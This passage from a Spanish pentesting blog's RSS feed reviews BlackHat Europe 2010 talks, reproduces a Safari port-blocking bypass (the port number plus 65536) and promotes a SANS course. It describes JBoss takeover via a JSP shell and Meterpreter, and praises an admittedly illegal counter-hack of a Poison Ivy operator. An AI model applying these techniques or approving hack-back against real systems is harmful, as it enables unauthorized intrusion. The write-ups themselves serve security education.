href="http://www.blackhat.com/html/bh-eu-10/bh-eu-10-speakerbios.html#Evans"&gt;Chris Evans&lt;/a&gt;): En esta charla, Julien y Chris nos dieron un buen repaso sobre las diferentes técnicas mediantes las cuales se puede implementar SandBoxing en Sistemas Linux como medida de mitigación del impacto ante la explotación de vulnerabilidades en el software. Evidentemente, tras explotar una vulnerabilidad, el impacto va a ser directamente proporcional a los privilegios de que disponga el proceso que se encontraba ejecutando el software vulnerable, de tal forma que explotar una vulnerabilidad de un software ejecutado en un proceso que no tiene privilegios para acceder a disco, red, memoria ni ejecutar nada puede ser completamente inútil. Con esta idea surge este concepto de SandBoxing, basado en el concepto de mínimo privilegio. A lo largo de la presentación, Julien y Chris nos hicieron un repaso sobre las diferentes técnicas que se pueden emplear para realizar SandBoxing en Linux (según ellos no muy dotado para ello), ilustrado mediante dos ejemplos de software que utilizan estas técnicas: vsftpd y Chromium (lógico viniendo de dos empleados de Google). &lt;span style="font-weight: bold;"&gt;RECOMIENDO&lt;/span&gt; mucho la lectura en profundidad de este paper a aquellos que realicen desarrollo de software sobre sistemas Linux y que quieran mejorar la seguridad de sus desarrollos. &lt;a href="http://www.cr0.org/paper/jt-ce-sid_linux.pdf"&gt;Más información&lt;/a&gt; en esta presentación que hicieron para otra conferencia en Malasia, pero que es idéntica.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;"&lt;a href="http://www.blackhat.com/html/bh-eu-10/bh-eu-10-briefings.html#DCosta"&gt;&lt;span style="font-weight: bold;"&gt;Verifying eMRTD Security Controls&lt;/span&gt;&lt;/a&gt;" (&lt;a href="http://www.blackhat.com/html/bh-eu-10/bh-eu-10-speakerbios.html#DCosta"&gt;Raoul D'Costa&lt;/a&gt;): Interesante conferencia sobre las medidas de seguridad empleadas por los ePassport que nos recordó a una que dio &lt;a href="http://rfidiot.org/"&gt;Adam Laurie&lt;/a&gt; en las &lt;a href="http://www.sourceconference.com/"&gt;SOURCE&lt;/a&gt; el pasado año. La charla fue interesante, pero hemos de reconocer que nos faltó algún tipo de demostración práctica como la que hizo Adam, al que pudimos ver en vivo clonando y falsificando pasaportes electrónicos.&lt;br /&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;"&lt;a href="http://www.blackhat.com/html/bh-eu-10/bh-eu-10-briefings.html#Arlen"&gt;&lt;span style="font-weight: bold;"&gt;SCADA &amp;amp; ICS for Security Experts&lt;/span&gt;&lt;/a&gt;" (&lt;a href="http://www.blackhat.com/html/bh-eu-10/bh-eu-10-speakerbios.html#Arlen"&gt;James Arlen&lt;/a&gt;): Lamentamos decir esto, pero floja, muy floja, flojíiiiiisima conferencia de James Arlen sobre SCADA. Una impresión compartida por todos los que asistimos allí pensando en que nos hablarían de seguridad técnica en sistemas SCADA (algo muy interesante) pero que acabamos viendo como la conferencia se limitó a decir que los sistemas SCADA de verdad son los realmente grandes y que esos es IMPOSIBLE (fue muy osado al decirlo, la verdad) que sufran un ciberataque, aunque bueno, también dijo que los SCADA de una central nuclear no eran verdaderos sistemas scada, así que... Sin comentarios.&lt;br /&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;"&lt;a href="http://www.blackhat.com/html/bh-eu-10/bh-eu-10-briefings.html#Saindane"&gt;&lt;span style="font-weight: bold;"&gt;Attacking Java Serialized Communication&lt;/span&gt;&lt;/a&gt;" (&lt;a href="http://www.blackhat.com/html/bh-eu-10/bh-eu-10-speakerbios.html#Saindane"&gt;Manish Saindane&lt;/a&gt;): En esta conferencia se presentaba una serie de herramientas que podían ser utilizadas en combinación con BurpProxy para realizar auditoría sobre las Serialized Communication de Java. Las Serialized Communications de Java envían un objeto Java completo convertido en una secuencia de bytes en hexadecimal desde un cliente hasta un servidor. La utilización de este medio de transmisión dificulta el proceso de auditoría, ya que nos vemos obligados a editar directamente esta secuencia para intentar averiguar si a través de alguno de los parámetros del objeto podemos encontrar vulnerabilidades en el software. Para evitar la edición en hexadecimal, se ha desarrollado un script en Ruby que instalado adecuadamente junto al conocido Burp Proxy puede ayudarnos a editar cada uno de los campos de un objeto de forma mucho más sencilla, ya que realiza de forma automática la transformación de cadena de hexadecimales a objeto y viceversa tras ser modificado. Podemos descargar el software de &lt;a href="http://www.andlabs.org/tools/DSer/DSer.zip"&gt;este enlace&lt;/a&gt; u obtener más información sobre su &lt;a href="http://blog.andlabs.org/2010/04/attacking-java-serialized-communication.html"&gt;proceso de instalación&lt;/a&gt; en el &lt;a href="http://blog.andlabs.org/"&gt;blog del ponente&lt;/a&gt;. Más información.&lt;br /&gt;&lt;/li&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_Jx-hAg65Epo/S8v3xpPq0GI/AAAAAAAAAWs/ZO7sSTVEhaA/s1600/IMAG0032.jpg"&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;&lt;/span&gt;&lt;/a&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_Jx-hAg65Epo/S8v3xpPq0GI/AAAAAAAAAWs/ZO7sSTVEhaA/s1600/IMAG0032.jpg"&gt;&lt;img src="http://2.bp.blogspot.com/_Jx-hAg65Epo/S8v3xpPq0GI/AAAAAAAAAWs/ZO7sSTVEhaA/s320/IMAG0032.jpg" alt="" id="BLOGGER_PHOTO_ID_5461731405374083170" style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 320px; height: 214px;" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;li&gt;"&lt;a href="http://www.blackhat.com/html/bh-eu-10/bh-eu-10-briefings.html#Argyroudis"&gt;&lt;span style="font-weight: bold;"&gt;Binding the Daemon: FreeBSD Stack &amp;amp; Heap Exploitation&lt;/span&gt;&lt;/a&gt;" (&lt;a href="http://www.blackhat.com/html/bh-eu-10/bh-eu-10-speakerbios.html#Argyroudis"&gt;Patroklos Argyroudis&lt;/a&gt;): Me encantó esta conferencia. En general las conferencias y charlas sobre exploiting siempre me gustan, pero la verdad es que fue interesante ver las opciones que tenemos para realizar un Stack o Heap Overflow en un sistema FreeBSD, mucho menos investigado de los sistemas Windows o Linux a pesar de ser uno de los principalmente utilizados como servidores web en Internet. Todo perfectamente explicado y con demostraciones de elevación de privilegios totalmente "reliables", es decir, con payloads hechos a medida para evitar inestabilidades en el sistema. Me gustó especialmente una vulnerabilidad en una de las funciones a las que se llama para montar particiones, un sprintf de un "La opción %s no existe" a un buffer de error de solo 255 caracteres, todo un clásico, increible que siga ocurriendo en la actualidad. &lt;span style="font-weight: bold;"&gt;Muy recomendado&lt;/span&gt; para todos aquellos apasionados del exploiting. Os paso el &lt;a href="http://argp.gr/blog/"&gt;blog del ponente&lt;/a&gt;, aunque aún no ha publicado nada.&lt;br /&gt;&lt;/li&gt;&lt;ol&gt;&lt;br /&gt;&lt;/ol&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_Jx-hAg65Epo/S8v6xAGLlyI/AAAAAAAAAW0/Qs_6n20Wg_s/s1600/Imagen+1.png"&gt;&lt;img src="http://1.bp.blogspot.com/_Jx-hAg65Epo/S8v6xAGLlyI/AAAAAAAAAW0/Qs_6n20Wg_s/s320/Imagen+1.png" alt="" id="BLOGGER_PHOTO_ID_5461734692863317794" style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 320px; height: 226px;" border="0" /&gt;&lt;/a&gt;&lt;li&gt;"&lt;a href="http://www.blackhat.com/html/bh-eu-10/bh-eu-10-briefings.html#Papathanasiou"&gt;&lt;span style="font-weight: bold;"&gt;Abusing JBoss&lt;/span&gt;&lt;/a&gt;" (&lt;a href="http://www.blackhat.com/html/bh-eu-10/bh-eu-10-speakerbios.html#Papathanasiou"&gt;Chistian Papathanasiou&lt;/a&gt;): La verdad es que esta charla no fue como la esperabamos. Por lo que se comentó a la salida con otros asistentes, todos esperabamos algún tipo de técnicas o fallos de seguridad de desarrollos, implantaciones o instalaciones por defecto de JBoss, pero realmente lo que nos encontramos fue una pequeña herramienta desarrollada por el ponente que servía para automatizar la explotación de entornos JBoss y Tomcat que tienen disponible su panel de administración con contraseña por defecto. Para estos sistemas, la herramienta realizaba una serie de acciones que nos llevaba a tomar el control de la máquina por medio del despliegue de un JSP-Shell que nos permitía a su vez subir un payload de Metasploit como pueda ser Meterpreter, VNC o un simple Bind_TCP, y ejecutarlo, tomando de esta manera control de la máquina. La herramienta me parece útil, no por su complejidad técnica, que es realmente poca, sino porque es una herramienta que te permite automátizar el proceso de explotación y hacerlo más rápido, algo muy útil si nos encontramos con este tipo de vulnerabilidades en un gran número de máquinas. En cualquier caso, la aportación, aunque existe, no parecía estar a la altura de otras ponencias que se vieron en estas conferencias. &lt;a href="http://www.cupfighter.net/index.php/2010/04/blackhateu-abusing-jboss/"&gt;Más información&lt;/a&gt;.&lt;br /&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;"&lt;a style="font-weight: bold;" href="http://www.blackhat.com/html/bh-eu-10/bh-eu-10-briefings.html#Dereszowski"&gt;Targeted Attacks: From being a victim to counter attacking&lt;/a&gt;" (&lt;a href="http://www.blackhat.com/html/bh-eu-10/bh-eu-10-speakerbios.html#Dereszowski"&gt;Andrzej Dereszowski&lt;/a&gt;): Esta fue otra de nuestras favoritas. En esta ponencia, Andrzej nos mostró como realizar el proceso de "contra-ataque" ante un intento de ataque dirigido contra nuestra empresa. En este caso, el método elegido por el atacante contra nosotros fue un PDF que explotaba una vulnerabilidad de Acrobat Reader y que fue enviado a los buzones de correo de la organización. Tras analizar el PDF se pudo obtener el payload que ejecutaba y analizar, encontrándose la existencia en él de un conocido BackDoor llamado "Poison Ivy". Tras un análisis con sus correspondientes técnicas de ocultación del debugger, se obtuvo la dirección a la que conecta dicho BackDoor, con lo que obteniamos un objetivo contra el que contra-atacar. Ahora que sabemos que el atacante está corriendo en una IP que acabamos de obtener de hacer Reverse Engineering del troyano una versión cliente del software "Poison Ivy", solo tenemos que encontrar alguna vulnerabilidad en dicho software que nos permita tomar a nosotros el control de la máquina del atacante. Por medio de técnicas de Fuzzing, Andrzej encuentra una vulnerabilidad y desarrolla un exploit con el que poder conseguir visibilidad sobre las acciones del atacante pero sin provocar el cierre del software vulnerable, de tal forma que el acatante no se entere de nada. Una vez dentro, nos enseño unas capturas que hizo de consolas de administración de este BackDoor en las que se veían todas las máquinas comprometidas. &lt;b&gt;Sencillamente genial&lt;/b&gt;, sin duda ilegal, pero sencillamente genial :)&lt;br /&gt;&lt;/li&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_Jx-hAg65Epo/S8v77BRvdzI/AAAAAAAAAW8/oVrVGiorbnA/s1600/Imagen+2.png"&gt;&lt;img src="http://1.bp.blogspot.com/_Jx-hAg65Epo/S8v77BRvdzI/AAAAAAAAAW8/oVrVGiorbnA/s320/Imagen+2.png" alt="" id="BLOGGER_PHOTO_ID_5461735964490561330" style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 320px; height: 114px;" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;li&gt;"&lt;a href="http://www.blackhat.com/html/bh-eu-10/bh-eu-10-briefings.html#Iozzo"&gt;&lt;span style="font-weight: bold;"&gt;0-Knowledge Fuzzing&lt;/span&gt;&lt;/a&gt;" (&lt;a href="http://www.blackhat.com/html/bh-eu-10/bh-eu-10-speakerbios.html#Iozzo"&gt;Vincenzo Lozzo&lt;/a&gt;): A pesar de que es una nueva técnica y aún no se han obtenido resultados en forma de vulnerabilidades descubiertas, me pareció un concepto muy interesante el de Vicenzo Lozzo y su manera de utilizar un lenguaje intermedio como &lt;b&gt;REIL&lt;/b&gt; para a partir de ahí seleccionar las funciones interesantes y realizar sobre ellas un &lt;span&gt;&lt;b&gt;in-memory fuzzing&lt;/b&gt;&lt;/span&gt;. Esta última técnica consiste en la modificación del contenido de las variables, no en su entrada a la aplicación, en la que tenemos que guardar un formato concreto, sino directamente en la memoria. Presumiblemente esta es una aproximación que debería dar muchos mejores resultados que un dumb-fuzzing y de una forma mucho más eficiente y exahustiva que un smart-fuzzing. Sin embargo, por lo que comentó el propio Vincenzo,  por el momento la tasa de falsos positivos es alta. Sin duda una técnica a la que merece la pena hacerle un seguimiento a ver como va madurando con el tiempo. Os recomiendo pegarle un vistazo al &lt;a href="http://www.slideshare.net/snagg/0knowledge-fuzzing-white-paper"&gt;paper&lt;/a&gt; y a la &lt;a href="http://www.cert.org/vuls/discovery/downloads/0knowfuzz-bh.pdf"&gt;presentación&lt;/a&gt;.&lt;br /&gt;&lt;/li&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_Jx-hAg65Epo/S8v9tMKEErI/AAAAAAAAAXE/MyDsarHUlr4/s1600/Imagen+3.png"&gt;&lt;img src="http://2.bp.blogspot.com/_Jx-hAg65Epo/S8v9tMKEErI/AAAAAAAAAXE/MyDsarHUlr4/s400/Imagen+3.png" alt="" id="BLOGGER_PHOTO_ID_5461737925916234418" style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 95px;" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;li&gt;"&lt;a href="http://www.blackhat.com/html/bh-eu-10/bh-eu-10-briefings.html#Beek"&gt;&lt;span style="font-weight: bold;"&gt;Virtual Forensics&lt;/span&gt;&lt;/a&gt;" (&lt;a href="http://www.blackhat.com/html/bh-eu-10/bh-eu-10-speakerbios.html#Beek"&gt;Christiaan Beek&lt;/a&gt;): Elegimos esta charla porque sin duda cada vez se ve más virtualización por todas partes. Mejor o peor implementada (hay cada sitio...), pero sin duda es una tecnología muy desplegada por la cantidad de posibilidades que tiene. Sin embargo, no todo son ventajas, ya que estas capas de virtualización puede dificultar la tarea de un Incident Handler o de un Investigador Forense a la hora de trazar una intrusión o algún otro tipo de incidente. La solución pasa por conocer en profundidad las tecnologías de virtualización más comunes y saber a donde debemos acudir para obtener la información deseada. En esta ponencia se comentó la virtualización empleada por los sistemas Citrix, VMWare y Windows 7 (que según parece lleva un sistema Virtual PC integrado para asegurar la compatibilidad con XP), así como los diferentes ficheros y registros interesantes que deberemos analizar para realizar una correcta gestión de un incidente. &lt;b&gt;Referencia muy recomendable&lt;/b&gt; para todos aquellos Incident Handlers o Analistas Forenses.&lt;br /&gt;&lt;/li&gt;&lt;/ol&gt;Para más información, lo mejor es acudir a &lt;a href="http://www.blackhat.com/html/bh-eu-10/bh-eu-10-archives.html"&gt;archivo de las conferencias&lt;/a&gt; y descargarse los papers originales, aunque para eso aún tendremos que esperar algunos días más.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;De algunas de las cosas que vimos en las BlackHat, evidentemente, vamos a cacharrear y probablemente pongamos algún post en más profundidad.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7678234999586772610-5623428706380133597?l=www.pentester.es' alt='' /&gt;&lt;/div&gt;</description><link>http://www.pentester.es/2010/04/blackhat-europe-2010-barcelona.html</link><author>noreply@blogger.com (Jose Selvi)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/_Jx-hAg65Epo/S8v1FTJF5uI/AAAAAAAAAWU/HYcGh6Id_I4/s72-c/bh-eu10-head.png" height="72" width="72" /><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7678234999586772610.post-7788003043906538184</guid><pubDate>Sat, 10 Apr 2010 19:15:00 +0000</pubDate><atom:updated>2010-04-10T21:23:46.294+02:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">zeroday</category><category domain="http://www.blogger.com/atom/ns#">SeguridadNavegador</category><title>Bypass Safari Port Blocking  (XPS)</title><description>&lt;div style="text-align: justify;"&gt;El día 23 de Marzo la gente de &lt;a href="http://security.goatse.fr/"&gt;Goatse Security&lt;/a&gt; ha hecho público en la lista  &lt;a href="http://seclists.org/webappsec/2010/q1/47"&gt;seclists.org&lt;/a&gt; una vulnerabilidad para saltarste el bloqueo de puertos que llevan los navegadores de Apple. El problema nace de un integer overflow del número de puerto fijado en una dirección url.&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;Los chicos de Goatse Security realizan &lt;a href="http://vimeo.com/10302434"&gt;las pruebas de concepto con una ipad&lt;/a&gt;; en cambio nosotros vamos a ver qué tal funciona la vulnerabilidad con un iphone (también ha sido probada con Safari para Windows):&lt;br /&gt;&lt;br /&gt;1. Primero vamos a levantar un puerto 25 en una máquina que hará de "posible servidor smtp":&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_ywZ68m8Vt3A/S6808deFSVI/AAAAAAAAAXQ/6NfqVjnXXCo/s1600/01.png"&gt;&lt;img style="cursor: pointer; width: 400px; height: 253px;" src="http://4.bp.blogspot.com/_ywZ68m8Vt3A/S6808deFSVI/AAAAAAAAAXQ/6NfqVjnXXCo/s400/01.png" alt="" id="BLOGGER_PHOTO_ID_5453635887076559186" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;2. Desde el navegador de nuestro iphone accedemos a la ip donde está escuchando el netcat en el puerto 25 (192.168.1.124) y recibimos el siguiente mensaje:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_ywZ68m8Vt3A/S6839qMDj0I/AAAAAAAAAXg/CQZgIiKjnmM/s1600/foto.jpg"&gt;&lt;img style="cursor: pointer; width: 215px; height: 323px;" src="http://3.bp.blogspot.com/_ywZ68m8Vt3A/S6839qMDj0I/AAAAAAAAAXg/CQZgIiKjnmM/s400/foto.jpg" alt="" id="BLOGGER_PHOTO_ID_5453639206205361986" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;&lt;div style="text-align: justify;"&gt;3. Ahora como bien leemos en el advisory, si nosotros en vez de visitar el puerto 25, visitamos el puerto 65536 (número de puertos TCP) más 25, es decir el 65561, obtendremos el siguiente resultado:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_ywZ68m8Vt3A/S684E24eoMI/AAAAAAAAAXo/q0SkToYVOrU/s1600/foto2.jpg"&gt;&lt;img style="cursor: pointer; width: 228px; height: 342px;" src="http://3.bp.blogspot.com/_ywZ68m8Vt3A/S684E24eoMI/AAAAAAAAAXo/q0SkToYVOrU/s400/foto2.jpg" alt="" id="BLOGGER_PHOTO_ID_5453639329871995074" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_ywZ68m8Vt3A/S684OjpltKI/AAAAAAAAAXw/TKzyC2PQnY4/s1600/02.png"&gt;&lt;img style="cursor: pointer; width: 400px; height: 251px;" src="http://1.bp.blogspot.com/_ywZ68m8Vt3A/S684OjpltKI/AAAAAAAAAXw/TKzyC2PQnY4/s400/02.png" alt="" id="BLOGGER_PHOTO_ID_5453639496507962530" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;&lt;div style="text-align: justify;"&gt;Como vemos, hemos saltado la protección del navegador del bloqueo de puertos; y como bien comenta la gente de Goatse Security, un atacante que ponga una página web maliciosa y que aproveche esta vulnerabilidad podrá realizar diferentes acciones sobre una víctima, como intentar el envio de correos a través de servidores de correo corporativos, realizar ataques de fuerza bruta sobre dispositivos, etc.&lt;br /&gt;&lt;br /&gt;Esperaremos los parches que corrijan esta y otras vulnerabilidades asociadas a los productos de la manzana para poder navegar un poquito más seguros.&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7678234999586772610-7788003043906538184?l=www.pentester.es' alt='' /&gt;&lt;/div&gt;</description><link>http://www.pentester.es/2010/04/bypass-safari-port-blocking-xps.html</link><author>noreply@blogger.com (José Miguel Holguín)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/_ywZ68m8Vt3A/S6808deFSVI/AAAAAAAAAXQ/6NfqVjnXXCo/s72-c/01.png" height="72" width="72" /><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7678234999586772610.post-5312174719994414480</guid><pubDate>Thu, 08 Apr 2010 05:54:00 +0000</pubDate><atom:updated>2010-04-08T07:54:00.105+02:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">BlackHat</category><category domain="http://www.blogger.com/atom/ns#">Formacion</category><title>BlackHat Europe 2010: Allá vamos!</title><description>&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_Jx-hAg65Epo/S70V2AX50kI/AAAAAAAAAVU/mg55JuNgq_s/s1600/bh2008.jpg"&gt;&lt;img src="http://1.bp.blogspot.com/_Jx-hAg65Epo/S70V2AX50kI/AAAAAAAAAVU/mg55JuNgq_s/s400/bh2008.jpg" border="0" alt="" id="BLOGGER_PHOTO_ID_5457542341000286786" style="float: left; margin-top: 0px; margin-right: 10px; margin-bottom: 10px; margin-left: 0px; cursor: pointer; width: 354px; height: 223px; " /&gt;&lt;/a&gt;&lt;div style="text-align: justify;"&gt;La próxima semana, &lt;b&gt;entre el 12 y el 15 de Abril&lt;/b&gt; tendrá lugar en Barcelona una de las Conferencias de Seguridad de mayor fama del mundo, en su edición Europea, la cual tradicionalmente ha tenido lugar en Amsterdam, pero que en esta ocasión va a tener lugar en nuestro pais:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div style="text-align: center;"&gt;&lt;span class="Apple-style-span"  style=" font-weight: bold; font-size:x-large;"&gt;&lt;a href="http://www.blackhat.com/html/bh-eu-10/bh-eu-10-home.html"&gt;BLACKHAT EUROPE 2010 (Barcelona)&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Los eventos se dividen en dos partes: Los dos primeros días tendrán lugar los Training (cursos de formación), mientras que los dos últimos días podremos asistir a los Briefings (charlas/ponencias).&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Los &lt;b&gt;Training&lt;/b&gt; son cursos de formación de dos jornadas de duración de todo tipo de temáticas relacionadas con la seguridad técnica, como por ejemplo:&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li style="text-align: justify;"&gt;Exploit Laboratory&lt;/li&gt;&lt;li style="text-align: justify;"&gt;Hardware Hacking &amp;amp; Reverse Engineering&lt;/li&gt;&lt;li style="text-align: justify;"&gt;Mac Hacking&lt;/li&gt;&lt;li style="text-align: justify;"&gt;Virtualization (In)Security&lt;/li&gt;&lt;li style="text-align: justify;"&gt;WarfaRE: Offensive Reverse Engineering&lt;/li&gt;&lt;li style="text-align: justify;"&gt;Web Application (in)Security&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_Jx-hAg65Epo/S70WB4Q9C_I/AAAAAAAAAVc/HeqzKBv4KHo/s1600/event2010-europe.png"&gt;&lt;img src="http://4.bp.blogspot.com/_Jx-hAg65Epo/S70WB4Q9C_I/AAAAAAAAAVc/HeqzKBv4KHo/s400/event2010-europe.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5457542544982084594" style="float: right; margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 10px; cursor: pointer; width: 100px; height: 101px; " /&gt;&lt;/a&gt;&lt;div style="text-align: justify;"&gt;Por contra, los &lt;b&gt;Briefing&lt;/b&gt; son las típicas charlas a las que la BlackHat nos tiene acostumbrados en la que los ponentes nos desvelan las últimas técnicas, herramientas, etc. En este caso, la BlackHat Europe 2010 va a disponer de 3 salas simultáneas en las que tendremos temáticas de seguridad web, hardware, exploits y forensics. Algunos ejemplos:&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li style="text-align: justify;"&gt;Next Generation ClickJacking&lt;/li&gt;&lt;li style="text-align: justify;"&gt;FreeBSD Kernel Stack and Heap Exploitation&lt;/li&gt;&lt;li style="text-align: justify;"&gt;Universal XSS via IE8s Filters&lt;/li&gt;&lt;li style="text-align: justify;"&gt;0-Knowledge Fuzzing&lt;/li&gt;&lt;li style="text-align: justify;"&gt;Oracle Interrupted: Stealing Sessions and Credentials&lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: justify;"&gt;Como podemos ver, unas conferencias de altísimo nivel que al menos desde &lt;a href="http://www.pentester.es/"&gt;Pentester.es&lt;/a&gt; no nos queremos perder, así que &lt;b&gt;estaremos por Barcelona&lt;/b&gt; los días 14 y 15 de Abril para asistir a los Briefing y ver que se cuece :)&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7678234999586772610-5312174719994414480?l=www.pentester.es' alt='' /&gt;&lt;/div&gt;</description><link>http://www.pentester.es/2010/04/blackhat-europe-2010-alla-vamos.html</link><author>noreply@blogger.com (Jose Selvi)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/_Jx-hAg65Epo/S70V2AX50kI/AAAAAAAAAVU/mg55JuNgq_s/s72-c/bh2008.jpg" height="72" width="72" /><thr:total>7</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7678234999586772610.post-2343293563071502581</guid><pubDate>Mon, 05 Apr 2010 05:42:00 +0000</pubDate><atom:updated>2010-04-05T07:42:00.434+02:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">SANS</category><category domain="http://www.blogger.com/atom/ns#">Herramientas</category><category domain="http://www.blogger.com/atom/ns#">SeguridadWEB</category><category domain="http://www.blogger.com/atom/ns#">Formacion</category><title>"Web App Penetration Testing and Ethical Hacking" del SANS en Madrid</title><description>&lt;div style="text-align: justify;"&gt;Respondiendo al éxito del curso de &lt;a href="http://www.pentester.es/2010/01/curso-hacking-techniques-exploits.html"&gt;"SEC504: Hacking Techniques, Exploits &amp;amp; Incident Handling"&lt;/a&gt; que estamos en estos momentos impartiendo en la &lt;a href="http://www.sans.org/mentor/"&gt;modalidad Mentor&lt;/a&gt; entre &lt;a href="http://es.linkedin.com/in/pedroeisman"&gt;Pedro Eisman&lt;/a&gt; y &lt;a href="http://www.pentester.es/2008/01/jose-selvi.html"&gt;yo mismo&lt;/a&gt;, el &lt;a href="http://www.sans.org/"&gt;&lt;b&gt;&lt;span class="Apple-style-span"  style="font-size:large;"&gt;SANS Institute&lt;/span&gt;&lt;/b&gt;&lt;/a&gt; ya tiene preparados para los sucesivos meses nuevos cursos que se impartirán en diferentes modalidades en España, concretamente en Madrid.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_Jx-hAg65Epo/S65pkf6jKQI/AAAAAAAAAVE/AtQPtGachXY/s1600/sanslogo_block.jpg"&gt;&lt;img src="http://1.bp.blogspot.com/_Jx-hAg65Epo/S65pkf6jKQI/AAAAAAAAAVE/AtQPtGachXY/s400/sanslogo_block.jpg" border="0" alt="" id="BLOGGER_PHOTO_ID_5453412274555529474" style="float: right; margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 10px; cursor: pointer; width: 176px; height: 163px; " /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Sin ir más lejos, entre los días 20 y 25 de Septiembre de este año, tendrá lugar en Madrid uno de los cursos más recientes del SANS Institute, el &lt;b&gt;&lt;span class="Apple-style-span"  style="font-size:large;"&gt;&lt;a href="http://www.sans.org/madrid-2010-cs/description.php?tid=3472"&gt;"SEC542: Web App Penetration Testing &amp;amp; Ethical Hacking"&lt;/a&gt;&lt;/span&gt;&lt;/b&gt; en la modalidad &lt;a href="http://www.sans.org/community_sans/"&gt;Community SANS&lt;/a&gt;. Esta modalidad, al contrario de lo que sucede con la &lt;a href="http://www.sans.org/mentor/"&gt;modalidad Mentor&lt;/a&gt;, es &lt;b&gt;completamente presencial&lt;/b&gt;, es decir, a lo largo de los 6 días consecutivos de 6 horas de duración se imparten todos y cada uno de los contenidos del curso, lo cual puede permitir a personas de fuera de Madrid asistir a este curso, ya que se imparte en su totalidad en estos 6 días consecutivos.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: 